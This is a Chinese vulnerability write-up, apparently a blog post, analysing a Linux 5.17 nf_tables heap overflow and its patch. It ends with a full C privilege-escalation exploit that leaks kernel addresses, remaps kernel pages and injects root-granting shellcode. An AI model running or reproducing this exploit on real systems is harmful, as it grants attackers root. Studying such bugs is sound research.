赞
踩
测试版本:v5.17.15
编译选项:
CONFIG_NF_TABLES=y
CONFIG_NETFILTER_NETLINK=y
CONFIG_BINFMT_MISC=y
CONFIG_USER_NS=y
CONFIG_E1000=y
CONFIG_E1000E=y
patch 如下:
diff --git a/net/netfilter/nf_tables_api.c b/net/netfilter/nf_tables_api.c index 51144fc66889b..d6b59beab3a98 100644 --- a/net/netfilter/nf_tables_api.c +++ b/net/netfilter/nf_tables_api.c @@ -5213,13 +5213,20 @@ static int nft_setelem_parse_data(struct nft_ctx *ctx, struct nft_set *set, struct nft_data *data, struct nlattr *attr) { + u32 dtype; int err; err = nft_data_init(ctx, data, NFT_DATA_VALUE_MAXLEN, desc, attr); if (err < 0) return err; - if (desc->type != NFT_DATA_VERDICT && desc->len != set->dlen) { + if (set->dtype == NFT_DATA_VERDICT) + dtype = NFT_DATA_VERDICT; + else + dtype = NFT_DATA_VALUE; + + if (dtype != desc->type || + set->dlen != desc->len) { nft_data_release(data, desc->type); return -EINVAL;
可以看到 patch
主要打在了 nft_setelem_parse_data
函数中,其主要修改了相关检查方式:
static int nft_setelem_parse_data(struct nft_ctx *ctx, struct nft_set *set, struct nft_data_desc *desc, struct nft_data *data, struct nlattr *attr) { int err; // NFT_DATA_VALUE_MAXLEN = 64 // 解析 attr 属性到 data 中,并设置 desc err = nft_data_init(ctx, data, NFT_DATA_VALUE_MAXLEN, desc, attr); if (err < 0) return err; // 如果 type 不是 NFT_DATA_VERDICT ,则需要检查 desc->len ?= set->dlen // 这里可以想一下: // 1、为什么 type != NFT_DATA_VERDICT 时,需要检查 desc->len ?= set->dlen? // 2、如果 desc->len != set->dlen 通过了检查,后面会出现什么问题呢? // 3、为什么 type == NFT_DATA_VERDICT 时,就不需要检查 desc->len ?= set->dlen? if (desc->type != NFT_DATA_VERDICT && desc->len != set->dlen) { nft_data_release(data, desc->type); return -EINVAL; } return 0; }
nft_data_init
函数主要就是解析添加 elem
的类型:
/** * enum nft_data_attributes - nf_tables data netlink attributes * * @NFTA_DATA_VALUE: generic data (NLA_BINARY) * @NFTA_DATA_VERDICT: nf_tables verdict (NLA_NESTED: nft_verdict_attributes) */ enum nft_data_attributes { NFTA_DATA_UNSPEC, NFTA_DATA_VALUE, NFTA_DATA_VERDICT, __NFTA_DATA_MAX }; #define NFTA_DATA_MAX (__NFTA_DATA_MAX - 1) /** * nft_data_init - parse nf_tables data netlink attributes * * @ctx: context of the expression using the data * @data: destination struct nft_data * @size: maximum data length * @desc: data description * @nla: netlink attribute containing data * * Parse the netlink data attributes and initialize a struct nft_data. * The type and length of data are returned in the data description. * * The caller can indicate that it only wants to accept data of type * NFT_DATA_VALUE by passing NULL for the ctx argument. */ int nft_data_init(const struct nft_ctx *ctx, struct nft_data *data, unsigned int size, // size = 64 struct nft_data_desc *desc, const struct nlattr *nla) { struct nlattr *tb[NFTA_DATA_MAX + 1]; int err; // 解析嵌套 nla 属性到 tb 数组中 err = nla_parse_nested_deprecated(tb, NFTA_DATA_MAX, nla, nft_data_policy, NULL); if (err < 0) return err; // 处理 NFTA_DATA_VALUE 属性 if (tb[NFTA_DATA_VALUE]) return nft_value_init(ctx, data, size, desc, tb[NFTA_DATA_VALUE]); // 处理 NFTA_DATA_VERDICT 属性 if (tb[NFTA_DATA_VERDICT] && ctx != NULL) return nft_verdict_init(ctx, data, desc, tb[NFTA_DATA_VERDICT]); return -EINVAL; }
如果添加元素是 NFTA_DATA_VALUE
则调用 nft_value_init
函数:
static int nft_value_init(const struct nft_ctx *ctx, struct nft_data *data, unsigned int size, struct nft_data_desc *desc, const struct nlattr *nla) { unsigned int len; len = nla_len(nla); // 属性长度 if (len == 0) return -EINVAL; if (len > size) return -EOVERFLOW; // size = 64 // 拷贝 nlattr 数据到 data->data 中 nla_memcpy(data->data, nla, len); // 对于 NFT_DATA_VALUE 类型,desc->len = nla_len(nla) desc->type = NFT_DATA_VALUE; desc->len = len; return 0; }
如果添加元素是 NFT_DATA_VERDICT
则调用 nft_verdict_init
函数:
/** * enum nft_verdict_attributes - nf_tables verdict netlink attributes * * @NFTA_VERDICT_CODE: nf_tables verdict (NLA_U32: enum nft_verdicts) * @NFTA_VERDICT_CHAIN: jump target chain name (NLA_STRING) * @NFTA_VERDICT_CHAIN_ID: jump target chain ID (NLA_U32) */ enum nft_verdict_attributes { NFTA_VERDICT_UNSPEC, NFTA_VERDICT_CODE, NFTA_VERDICT_CHAIN, NFTA_VERDICT_CHAIN_ID, __NFTA_VERDICT_MAX }; #define NFTA_VERDICT_MAX (__NFTA_VERDICT_MAX - static int nft_verdict_init(const struct nft_ctx *ctx, struct nft_data *data, struct nft_data_desc *desc, const struct nlattr *nla) { u8 genmask = nft_genmask_next(ctx->net); struct nlattr *tb[NFTA_VERDICT_MAX + 1]; struct nft_chain *chain; int err; // 处理 nla 迭代属性到 tb 中 err = nla_parse_nested_deprecated(tb, NFTA_VERDICT_MAX, nla, nft_verdict_policy, NULL); if (err < 0) return err; if (!tb[NFTA_VERDICT_CODE]) return -EINVAL; // 获取 verdict.code data->verdict.code = ntohl(nla_get_be32(tb[NFTA_VERDICT_CODE])); switch (data->verdict.code) { default: switch (data->verdict.code & NF_VERDICT_MASK) { case NF_ACCEPT: case NF_DROP: case NF_QUEUE: break; default: return -EINVAL; } fallthrough; case NFT_CONTINUE: case NFT_BREAK: case NFT_RETURN: break; // 如果是 JUMP/GOTO 则需要设置 target chain case NFT_JUMP: case NFT_GOTO: if (tb[NFTA_VERDICT_CHAIN]) { chain = nft_chain_lookup(ctx->net, ctx->table, tb[NFTA_VERDICT_CHAIN], genmask); } else if (tb[NFTA_VERDICT_CHAIN_ID]) { chain = nft_chain_lookup_byid(ctx->net, tb[NFTA_VERDICT_CHAIN_ID]); if (IS_ERR(chain)) return PTR_ERR(chain); } else { return -EINVAL; } if (IS_ERR(chain) return PTR_ERR(chain); // 必须得是 base_chain??? if (nft_is_base_chain(chain)) return -EOPNOTSUPP; chain->use++; data->verdict.chain = chain; break; } // 当为 NFT_DATA_VERDICT 时,desc->len = 16 desc->len = sizeof(data->verdict); desc->type = NFT_DATA_VERDICT; return 0; }
要回答上面那三个问题,我们得先看下 set->len
的值是如何被设置的,set->dlen
的值是在其被创建时确定的,创建 set
的函数为 nf_tables_newset
:
static int nf_tables_newset(struct sk_buff *skb, const struct nfnl_info *info, const struct nlattr * const nla[]) { ...... dtype = 0; // 设置 data 的类型 if (nla[NFTA_SET_DATA_TYPE] != NULL) { if (!(flags & NFT_SET_MAP)) return -EINVAL; dtype = ntohl(nla_get_be32(nla[NFTA_SET_DATA_TYPE])); // 不是正确的 NFT_DATA_VERDICT 类型 if ((dtype & NFT_DATA_RESERVED_MASK) == NFT_DATA_RESERVED_MASK && dtype != NFT_DATA_VERDICT) return -EINVAL; // 数据类型 if (dtype != NFT_DATA_VERDICT) { if (nla[NFTA_SET_DATA_LEN] == NULL) return -EINVAL; // NFT_DATA_VALUE_MAXLEN = 64 // 对于数据类型,这里的 desc.len 是用户可控的,在 [1, 64] 之间 desc.dlen = ntohl(nla_get_be32(nla[NFTA_SET_DATA_LEN])); if (desc.dlen == 0 || desc.dlen > NFT_DATA_VALUE_MAXLEN) return -EINVAL; } else // verdict 类型,可以看到对于 verdict 类型 // : 这里的 desc->dlen = 16 是固定的,所以后面的 set->dlen = 16 也是固定的 desc.dlen = sizeof(struct nft_verdict); } else if (flags & NFT_SET_MAP) return -EINVAL; ...... set->dlen = desc.dlen; ......
这里就可以回答第 1/3
个问题了,可以看到对于 NFT_DATA_VERDICT
而言,其 set->dlen = 16
,而 desc->len = 16
,所以这里是肯定相等的,因此不需要进行检查
// 1、为什么 type != NFT_DATA_VERDICT 时,需要检查 desc->len ?= set->dlen?
// 2、如果 desc->len != set->dlen 通过了检查,后面会出现什么问题呢?
// 3、为什么 type == NFT_DATA_VERDICT 时,就不需要检查 desc->len ?= set->dlen?
if (desc->type != NFT_DATA_VERDICT && desc->len != set->dlen) {
...... return err
}
而对于 NFTA_DATA_VALUE
类型而言,set->dlen
在 [1, 64]
之间, 其是用户可控的;而 desc->len
也在 [1, 64]
之间,其也是用户可控的,所以这里需要进行检查,如果两者相等则表明是同一种类型,但这里的检查是存在缺陷的。
这里本质上是一个类型混淆的漏洞,对于 set
而言,其元素的类型应当是相同的,这里判断元素是否相同的方式是比较 set->dlen
与 desc->len
,如果两者相等,则表明其元素类型是合法的,否则不合法。然后这里对 NFT_DATA_VERDICT
元素类型进行了特判,其认为:如果 set
的元素类型是 NFT_DATA_VERDICT
,那么其 set->dlen = 16
,而在后续往 set
中添加 NFT_DATA_VERDICT
元素时,其 desc->len = 16
,所以不需要进行检查。而对于 NFT_DATA_VALUE
类型的 set
,其只需要通过 set->dlen
与 dese->len
的大小关系即可判断,比如创建 set
时定义其元素类型为 2
字节即 set->dlen = 2
,而为 set
添加元素时传入的元素类型为 6
字节即 desc->len = 6
,此时由于是 NFT_DATA_VALUE
类型,则会进行检查,发现其不相等则表明传入的元素类型不正确。
......
if (desc->type != NFT_DATA_VERDICT && desc->len != set->dlen) { // 【2】
......
但是这里忽略了一个问题:如果用户往 NFT_DATA_VALUE
元素类型的 set
中传入 NFT_DATA_VERDICT
类型的元素呢?此时 desc->type = NFT_DATA_VERDICT
,于是上面的 【2】
就被绕过了,此时可能出现 desc->len != set->dlen
,当然此时由于传入的是 NFT_DATA_VERDICT
类型,所以 desc->len = 16
是固定的。
现在就剩下第 2
个问题了,如果 desc->len != set->dlen
通过了检查,会出现什么问题?这里得看看上层是哪个函数调用了 nft_setelem_parse_data
函数,通过交叉引用可以发现上层只有 nft_add_set_elem
调用了改函数:
static int nft_add_set_elem(struct nft_ctx *ctx, struct nft_set *set, const struct nlattr *attr, u32 nlmsg_flags) { struct nft_expr *expr_array[NFT_SET_EXPR_MAX] = {}; struct nlattr *nla[NFTA_SET_ELEM_MAX + 1]; u8 genmask = nft_genmask_next(ctx->net); u32 flags = 0, size = 0, num_exprs = 0; struct nft_set_ext_tmpl tmpl; struct nft_set_ext *ext, *ext2; struct nft_set_elem elem; struct nft_set_binding *binding; struct nft_object *obj = NULL; struct nft_userdata *udata; struct nft_data_desc desc; enum nft_registers dreg; struct nft_trans *trans; u64 timeout; u64 expiration; int err, i; u8 ulen; err = nla_parse_nested_deprecated(nla, NFTA_SET_ELEM_MAX, attr, nft_set_elem_policy, NULL); if (err < 0) return err; nft_set_ext_prepare(&tmpl); ...... if (nla[NFTA_SET_ELEM_DATA] != NULL) { err = nft_setelem_parse_data(ctx, set, &desc, &elem.data.val, nla[NFTA_SET_ELEM_DATA]); if (err < 0) goto err_parse_key_end; dreg = nft_type_to_reg(set->dtype); ...... // 设置 tmpl nft_set_ext_add_length(&tmpl, NFT_SET_EXT_DATA, desc.len); // 【1】四字节对齐 } ...... err = -ENOMEM; elem.priv = nft_set_elem_init(set, &tmpl, elem.key.val.data, elem.key_end.val.data, elem.data.val.data, timeout, expiration, GFP_KERNEL); // 【2】 if (elem.priv == NULL) goto err_parse_data; ...... }
在 【1】
处更新了 tmpl
相关的值:
/** * struct nft_set_ext_tmpl - set extension template * * @len: length of extension area * @offset: offsets of individual extension types */ struct nft_set_ext_tmpl { u16 len; u8 offset[NFT_SET_EXT_NUM]; }; static inline void nft_set_ext_add_length(struct nft_set_ext_tmpl *tmpl, u8 id, unsigned int len) //len = desc.len { tmpl->len = ALIGN(tmpl->len, nft_set_ext_types[id].align); BUG_ON(tmpl->len > U8_MAX); tmpl->offset[id] = tmpl->len; tmpl->len += nft_set_ext_types[id].len + len; // + desc.len }
然后这里主要来看 【2】
处,nft_set_elem_init
函数主要就是用来初始化 elem
的私有数据:
/** * struct nft_set_ext - set extensions * * @genmask: generation mask * @offset: offsets of individual extension types * @data: beginning of extension data */ struct nft_set_ext { u8 genmask; u8 offset[NFT_SET_EXT_NUM]; char data[]; }; void *nft_set_elem_init(const struct nft_set *set, const struct nft_set_ext_tmpl *tmpl, const u32 *key, const u32 *key_end, const u32 *data, u64 timeout, u64 expiration, gfp_t gfp) { struct nft_set_ext *ext; void *elem; // 分配 elem 空间 elem = kzalloc(set->ops->elemsize + tmpl->len, gfp); // 【1】gfp = GFP_KERNEL if (elem == NULL) return NULL; ext = nft_set_elem_ext(set, elem); // return elem + set->ops->elemsize; nft_set_ext_init(ext, tmpl); // memcpy(ext->offset, tmpl->offset, sizeof(ext->offset)); if (nft_set_ext_exists(ext, NFT_SET_EXT_KEY)) memcpy(nft_set_ext_key(ext), key, set->klen); // 设置 key if (nft_set_ext_exists(ext, NFT_SET_EXT_KEY_END)) memcpy(nft_set_ext_key_end(ext), key_end, set->klen); // 设置 key if (nft_set_ext_exists(ext, NFT_SET_EXT_DATA)) // nft_set_ext_data(ext) = (void *)ext + ext->offset[NFT_SET_EXT_DATA]; memcpy(nft_set_ext_data(ext), data, set->dlen); // 这里是 set->dlen 【2】 if (nft_set_ext_exists(ext, NFT_SET_EXT_EXPIRATION)) { // 这个应该不存在,不然溢出就没效果了 *nft_set_ext_expiration(ext) = get_jiffies_64() + expiration; if (expiration == 0) *nft_set_ext_expiration(ext) += timeout; } if (nft_set_ext_exists(ext, NFT_SET_EXT_TIMEOUT)) *nft_set_ext_timeout(ext) = timeout; return elem; }
可以看到这里 【1】
分配的大小为 eelemsize + others + desc->len
,而在 【2】
处复制 data
时使用的是 set->dlen
,这里的 data
就是用户传入的元素。所以这里就回答了如果 set->dlen != desc->len
会产生的问题,之前分析过我们可以利用:创建一个 NFT_DATA_VALUE
元素类型的 set
,然后向该 set
中添加 NFT_DATA_VERDICT
类型的元素,即可绕过检查,这里 desc->len = 16
,而 set->dlen
的范围在 [1, 64]
之间,所以如果 set->dlen
的值大于 16
,则可能发生堆溢出,理论上我们最多可以溢出 48
字节。
可以看到这里分配堆块的大小为:
elem = kzalloc(set->ops->elemsize + tmpl->len, GFP_KERNEL);
这里 tmpl->len
我们是部分可控的:
static int nft_add_set_elem(struct nft_ctx *ctx, struct nft_set *set, const struct nlattr *attr, u32 nlmsg_flags) { ...... struct nft_set_ext_tmpl tmpl; ...... nft_set_ext_prepare(&tmpl); // 【1】 ==> tmpl->len = 0xa = 10 ...... if (nla[NFTA_SET_ELEM_KEY]) { err = nft_setelem_parse_key(ctx, set, &elem.key.val, nla[NFTA_SET_ELEM_KEY]); if (err < 0) goto err_set_elem_expr; nft_set_ext_add_length(&tmpl, NFT_SET_EXT_KEY, set->klen); // klen_max = 64,4字节对齐 } if (nla[NFTA_SET_ELEM_KEY_END]) { err = nft_setelem_parse_key(ctx, set, &elem.key_end.val, nla[NFTA_SET_ELEM_KEY_END]); if (err < 0) goto err_parse_key; nft_set_ext_add_length(&tmpl, NFT_SET_EXT_KEY_END, set->klen); // klen_max = 64,4字节对齐 } ...... if (num_exprs) { for (i = 0; i < num_exprs; i++) size += expr_array[i]->ops->size; nft_set_ext_add_length(&tmpl, NFT_SET_EXT_EXPRESSIONS, sizeof(struct nft_set_elem_expr) + size); } ...... { ...... nft_set_ext_add_length(&tmpl, NFT_SET_EXT_DATA, desc.len); // ,4字节对齐 } /* The full maximum length of userdata can exceed the maximum * offset value (U8_MAX) for following extensions, therefor it * must be the last extension added. */ ulen = 0; if (nla[NFTA_SET_ELEM_USERDATA] != NULL) { ulen = nla_len(nla[NFTA_SET_ELEM_USERDATA]); if (ulen > 0) nft_set_ext_add_length(&tmpl, NFT_SET_EXT_USERDATA, ulen); // 8字节对齐,+8 } ......
这里我们不使用 NFTA_SET_ELEM_USERDATA
,所以这里分配的大小为:
set->ops->elemsize + 12 + others
但是 set->ops->elemsize
却是不可控的,对于 set->ops
其在创建 set
时被设置:
static const struct nft_set_type *nft_set_types[] = { &nft_set_hash_fast_type, &nft_set_hash_type, &nft_set_rhash_type, &nft_set_bitmap_type, &nft_set_rbtree_type, #if defined(CONFIG_X86_64) && !defined(CONFIG_UML) &nft_set_pipapo_avx2_type, #endif &nft_set_pipapo_type, }; #define NFT_SET_FEATURES (NFT_SET_INTERVAL | NFT_SET_MAP | \ NFT_SET_TIMEOUT | NFT_SET_OBJECT | \ NFT_SET_EVAL) static bool nft_set_ops_candidate(const struct nft_set_type *type, u32 flags) { return (flags & type->features) == (flags & NFT_SET_FEATURES); } /* * Select a set implementation based on the data characteristics and the * given policy. The total memory use might not be known if no size is * given, in that case the amount of memory per element is used. */ static const struct nft_set_ops * nft_select_set_ops(const struct nft_ctx *ctx, const struct nlattr * const nla[], const struct nft_set_desc *desc, enum nft_set_policies policy) { ...... for (i = 0; i < ARRAY_SIZE(nft_set_types); i++) { type = nft_set_types[i]; ops = &type->ops; if (!nft_set_ops_candidate(type, flags)) // <====== choose ops ...... }
这里我们构造 NFT_SET_MAP
类型的 set
,此时调试发现,其使用的是 nft_set_rhash_type
:
其对应的 ops->elemsize = 8
:
所以最后分配的堆块大小为:注意这里是四字节对齐的
elem = kzalloc(8 + 12 + key_len + 16, GFP_KERNEL);
所以这里我们可以通过 ken_len
去控制分配堆块的大小
在漏洞分析中说了我们分配的大小为:20 + key_len + 16
,这里可以通过 key_len
去控制分配堆块的大小,这里我选择的是 kmalloc-64
,之所以选择 kmalloc-64
是因为后面笔者使用的是 USMA
攻击,然后涉及到堆喷 pgv
,如果堆块过大,则需要分配的页面就比较多,此时可能内存吃不消
确定了目标堆块的大小,接下来就是去考虑该如果精确控制溢出数据,这里往堆块上拷贝的数据为 data
:
if (nft_set_ext_exists(ext, NFT_SET_EXT_DATA))
// nft_set_ext_data(ext) = (void *)ext + ext->offset[NFT_SET_EXT_DATA];
memcpy(nft_set_ext_data(ext), data, set->dlen); // 这里是 set->dlen 【2】
这里向上引用,可以发现 data
是一个栈上的局部变量:
static int nft_add_set_elem(struct nft_ctx *ctx, struct nft_set *set, const struct nlattr *attr, u32 nlmsg_flags)
{
struct nft_set_elem elem;
......
elem.priv = nft_set_elem_init(set, &tmpl, elem.key.val.data,
elem.key_end.val.data, elem.data.val.data, // elem.data.val.data ⇒ data
timeout, expiration, GFP_KERNEL);
......
这里的 elem
是一个栈上的局部变量,其中 struct nft_set_elem
结构体如下:
/** * struct nft_set_elem - generic representation of set elements * * @key: element key * @key_end: closing element key * @priv: element private data and extensions */ struct nft_set_elem { union { u32 buf[NFT_DATA_VALUE_MAXLEN / sizeof(u32)]; struct nft_data val; } key; union { u32 buf[NFT_DATA_VALUE_MAXLEN / sizeof(u32)]; struct nft_data val; } key_end; union { u32 buf[NFT_DATA_VALUE_MAXLEN / sizeof(u32)]; struct nft_data val; } data; void *priv; };
该结构体的大小为 64 + 8 = 72
字节,然后继续往上查找引用:
static int nf_tables_newsetelem(struct sk_buff *skb, const struct nfnl_info *info, const struct nlattr * const nla[])
{
......
nla_for_each_nested(attr, nla[NFTA_SET_ELEM_LIST_ELEMENTS], rem) { // 变量嵌套属性
err = nft_add_set_elem(&ctx, set, attr, info->nlh->nlmsg_flags);
if (err < 0)
return err;
}
......
可以看到这里对每个属性都会调用 nft_add_set_elem
函数,那么每次调用 nft_add_set_elem
的栈帧都是相同的,所以这里我们可以先去填充 elem
的数据,然后在触发漏洞即可写入我们设置的值
那么这里我们的原语就是 kmalloc-64 GFP_KERNEL
堆溢出 0~48
字节。利用思路如下:
user_key_payload.datalen
实现越界读 bypass kaslr
pgv
数组实现 USMA
攻击exploit
如下:没有调整堆喷策略,所以成功率比较低
#ifndef _GNU_SOURCE #define _GNU_SOURCE #endif #include <time.h> #include <stdlib.h> #include <string.h> #include <sys/types.h> #include <sys/socket.h> #include <sys/mman.h> #include <netinet/in.h> #include <libmnl/libmnl.h> #include <libnftnl/table.h> #include <libnftnl/chain.h> #include <libnftnl/rule.h> #include <libnftnl/expr.h> #include <linux/limits.h> #include <linux/netfilter.h> #include <linux/netfilter/nf_tables.h> #include <netinet/ip.h> #include <netinet/tcp.h> #include <pthread.h> #include <inttypes.h> #include <sched.h> #include <sys/syscall.h> #include <unistd.h> #include <stdio.h> #include <fcntl.h> #include <inttypes.h> #include <stdarg.h> #include "netlink.h" struct verdict_data { uint32_t code; void *chain; }; #define INIT_CRED "0xffffffff81000000" #define COMMIT_CREDS "0xffffffff81000001" #define KPTI_TRAMPOLINE "0xffffffff81000002" #define SHELL "0x1234567832165478" #define CS "0x33" #define RFLAGS "0x246" #define STACK "0x1234567887654321" #define SS "0x2b" #define ZERO "0" #define evil "sub rsp, 0x300;\nmov rdi, "INIT_CRED";\nmov rax, "COMMIT_CREDS";\ncall rax;\npush "SS";\nmov rax, "STACK";\npush rax;\npush "RFLAGS";\npush "CS";\nmov rax, "SHELL";\npush rax;\npush "ZERO";\nmov rax, "KPTI_TRAMPOLINE";\ncall rax;" #define NOP "nop;" void rootkit(); void GUARD(); asm("rootkit:" evil); asm("GUARD:" NOP); size_t user_cs, user_ss, user_rflags, user_sp; void save_status() { asm volatile ( "mov user_cs, cs;" "mov user_ss, ss;" "mov user_sp, rsp;" "pushf;" "pop user_rflags;" ); puts("\033[34m\033[1m[*] Status has been saved.\033[0m"); } int main() { int pipe_fd[2]; if (pipe(pipe_fd) < 0) fail_exit("pipe()"); pid_t pid = fork(); if (!pid) { puts("[+] Let's get it!!!"); unshare_setup(); save_status(); system("ip link set dev lo up"); system("ip addr"); puts(""); puts("=================== Bypass KASLR =============="); uint64_t koffset = -1; uint64_t kbase = 0xffffffff81000000; #define KEY_NUMS 0x30 char desc[0x20] = { 0 }; int key_ids[KEY_NUMS] = { 0 }; char elem_key[30] = { 0 }; char payload[0x100] = { 0 }; char overwrite_data[0x100] = { 0 }; char buf[0x10000] = { 0 }; int res, evil_key = -1; struct verdict_data* verdict = payload; char *table_name = "evil_table"; char *set_name = "evil_set"; create_table(table_name); create_set(table_name, set_name, 28, 16+0x28, 1); for (int i = 0; i < KEY_NUMS; i++) { sprintf(desc, "%s%d", "X", i); key_ids[i] = key_alloc(desc, payload, 28); } elem_key[0] = 1; memset(payload, 0, sizeof(payload)); memset(overwrite_data, '\xff', sizeof(overwrite_data)); verdict->code = NFT_CONTINUE; set_elem(table_name, set_name, elem_key, verdict, 16+0x28, overwrite_data); for (int i = 0; i < KEY_NUMS; i++) { res = key_read(key_ids[i], buf, 0xffff); if (res > 28) { evil_key = i; break; } } if (evil_key == -1) err_exit("Failed to overwrite user_key_payload.datalen"); printf("[+] evil key: %d\n", evil_key); for (int i = 0; i < KEY_NUMS; i++) { if (i != evil_key) key_revoke(key_ids[i]); } res = key_read(key_ids[evil_key], buf, 0xffff); printf("[+] key_read datalen: %#x\n", res); // binary_dump("LEAK DATA", buf, 0x200); uint64_t *ptr = (uint64_t*)buf; uint64_t target = 0xffffffff81572e10; for (int i = 0; i < res / 8; i++) { if ((ptr[i]&0xfff) == 0xe10 && ptr[i] > kbase) { koffset = ptr[i] - target; kbase += koffset; break; } } printf("[+] koffset: %#llx\n", koffset); printf("[+] kbase: %#llx\n\n", kbase); puts("===================== LPE ====================="); #define PGV_NUMS 0x30 uint64_t commit_creds = 0xffffffff810fc260 + koffset; uint64_t init_cred = 0xffffffff82a8b140 + koffset; uint64_t kpti_trampoline = 0xffffffff82000ff0+27 + koffset; uint64_t __sys_setresuid = 0xffffffff810e6ed0 + koffset; uint64_t modprobe_path = 0xffffffff82a8c240 + koffset; printf("[+] modprobe_path: %#llx\n", modprobe_path); printf("[+] __sys_setresuid: %#llx\n", __sys_setresuid); int pgv_ids[PGV_NUMS] = { 0 }; for (int i = 0; i < PGV_NUMS; i++) { pgv_ids[i] = pagealloc_pad(5, 0x1000); } for (int i = 0; i < PGV_NUMS; i += 3) { close(pgv_ids[i]); } elem_key[0] += 1; memset(payload, 0, sizeof(payload)); *(uint64_t*)(overwrite_data + 0 * 8) = modprobe_path & (~0xfff); *(uint64_t*)(overwrite_data + 1 * 8) = modprobe_path & (~0xfff); *(uint64_t*)(overwrite_data + 2 * 8) = modprobe_path & (~0xfff); for (int i = 3; i < sizeof(overwrite_data) / 8; i++) *(uint64_t*)(overwrite_data + i * 8) = __sys_setresuid & (~0xfff); verdict->code = NFT_CONTINUE; set_elem(table_name, set_name, elem_key, verdict, 16+0x28, overwrite_data); char *page = NULL, *str = NULL; for (int i = 0; i < PGV_NUMS; i++) { if (i % 3 != 0) { page = mmap(NULL, 0x1000*5, PROT_READ|PROT_WRITE, MAP_SHARED, pgv_ids[i], 0); if (page == -1) continue; str = page + (modprobe_path & 0xfff); if (!strcmp(str, "/sbin/modprobe")) { puts("[+] USMA attack successfully"); break; } munmap(page, 0x1000*5); str = NULL; } } if (str == NULL) err_exit("Failed USMA"); str = page + 0x1000 + (__sys_setresuid & 0xfff) + 5; char shellcode[0x200] = { 0 }; uint64_t length = GUARD - rootkit; memcpy(shellcode, rootkit, length); *(uint32_t*)(shellcode+3+7) = init_cred; *(uint32_t*)(shellcode+10+7) = commit_creds; *(uint64_t*)(shellcode+20+7) = user_sp & (~0xff); *(uint64_t*)(shellcode+38+7) = get_root_shell; *(uint32_t*)(shellcode+59) = kpti_trampoline; printf("[+] shellcode length: %#x <==> %d\n", length, length); binary_dump("shellcode", shellcode, length); memcpy(str, shellcode, length); write(pipe_fd[1], "A", 1); exit(0); } else if (pid < 0) { fail_exit("fork()"); } else { char buf[1]; read(pipe_fd[0], buf, 1); puts("[+] Try to LPE"); setresuid(0, 0, 0); puts("[+] EXP NERVER END"); exit(0); } return 0; }
效果如下:
diff --git a/net/netfilter/nf_tables_api.c b/net/netfilter/nf_tables_api.c index 51144fc66889b..d6b59beab3a98 100644 --- a/net/netfilter/nf_tables_api.c +++ b/net/netfilter/nf_tables_api.c @@ -5213,13 +5213,20 @@ static int nft_setelem_parse_data(struct nft_ctx *ctx, struct nft_set *set, struct nft_data *data, struct nlattr *attr) { + u32 dtype; int err; err = nft_data_init(ctx, data, NFT_DATA_VALUE_MAXLEN, desc, attr); if (err < 0) return err; - if (desc->type != NFT_DATA_VERDICT && desc->len != set->dlen) { + if (set->dtype == NFT_DATA_VERDICT) + dtype = NFT_DATA_VERDICT; + else + dtype = NFT_DATA_VALUE; + + if (dtype != desc->type || + set->dlen != desc->len) { nft_data_release(data, desc->type); return -EINVAL;
这里对 NFT_DATA_VERDICT
也进行判断,但是我们知道 NFT_DATA_VERDICT
的类型大小为 16
字节,而 NFT_DATA_VALUE
的大小也可以是 16
字节。所以单纯的通过 set->dlen ?= desc->len
是无法进行区分的 NFT_DATA_VERDICT
和 NFT_DATA_VALUE
的,因此这里还比较了 set->dtype ?= desc->type
。
该漏洞个人感觉即清楚又隐秘,从自己分析漏洞的过程来看,在审计代码时还是得多问问自己:为什么这里要这样?而哪里却不用这样?
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。